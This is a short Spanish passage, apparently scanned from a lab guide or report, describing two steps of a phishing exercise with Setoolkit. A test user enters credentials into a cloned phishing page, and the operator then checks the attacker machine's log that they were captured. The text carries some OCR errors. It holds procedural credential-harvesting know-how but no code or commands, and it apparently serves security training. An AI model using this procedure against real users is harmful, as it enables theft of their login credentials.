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o Ingresar credenciales en el sitio de phishing: Una vez que se haya cargado la pagina de
phishing en el navegador, se debe introducir las credenciales (nombre de usuario y contrasefia)
en los campos correspondientes. Estas credenciales simulan las que el usuario objetivo podria

ingresar, creyendo que esta en un sitio legitimo.
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o Verificar la captura de credenciales: Después de que las credenciales hayan sido
ingresadas y enviadas en la pagina de phishing, se debe ir a la méaquina atacante (donde
Setoolkit estd configurado) y verificar que la informacién se ha capturado correctamente.
Setoolkit almacena las credenciales capturadas en un archivo log, el cual se puede visualizar

directamente desde la interfaz de la herramienta.
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